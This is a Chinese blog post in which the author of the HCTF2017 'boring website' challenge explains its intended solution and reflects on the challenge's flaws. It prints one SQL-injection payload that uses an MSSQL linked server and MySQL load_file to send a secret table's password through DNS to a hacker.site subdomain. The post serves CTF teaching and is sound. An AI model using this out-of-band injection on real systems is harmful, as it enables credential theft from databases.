HCTF2017 boring website 出题思路
这是第一次为HCTF出题,所以经验不足,题目脑洞过大以及有N多非预期,请师傅们轻喷,但是虚心接受所有批评,希望明年能出更好更有质量的题目,请师傅们期待明年更好的HCTF
wp
首先扫目录发现有www.zip
,下载并打开发现是源码
|
|
发现应该是sql server
用linkserver来连接mysql
。所以去查了一波linkserver的用法,以及结合注释可得select * from openquery(mysql,'select xxx')
可以从mysql数据库中查得信息,但是没有回显,sleep函数也被ban了,然后看到oob的提示,去查了一波mysql out-of-band
,发现load_file
函数可以通过dns通道把所查得的数据带出来。接下来的过程就是十分常见简单的mysql注入的流程。
最终的payload: /?id=1 union select * from openquery(mysql,'select load_file(concat("\\\\",(select password from secret),".hacker.site\\a.txt"))')
dnslog 平台可以自己搭也可以用ceye
写在后面的话
因为前阵子看了Freebuf的《HTTP盲攻击》的课程,以及学长说out-of-bands attack在实战中是趋势,所以想出一道oob类型的题目。正好学长给了个mssql linkserver的思路,以及我看到了这篇文章MySQL Out-of-Band 攻击,所以想着怎么把两者结合,但是当题出完的时候,发现有点僵硬,mssql套着mysql,就算是实战中都算脑洞的更何况ctf中。但是时间不够,没有把题改的更加自然,完全就是为了出题而出题。最后说下为什么要套壳,因为sqlmap支持dns leak攻击,但是我太菜了不知道怎么防,最后只能套壳来防一防,但是如果有大佬用自己的payload跑,这点防御也是不堪一击。
其次,在题目描述上也做的不好,因为一些大佬看到/id=1
就去怼注入了,没想到www.zip
,并且扫目录导致题目不是很稳定。然后oob
的提示放的不是很明显,导致一些人不知道怎么下手,还有就是过滤规则没做好,导致了非预期,使得服务器负载居高不下。这些都是欠考虑的地方,也是警醒自己下次不能再犯这样的错误了。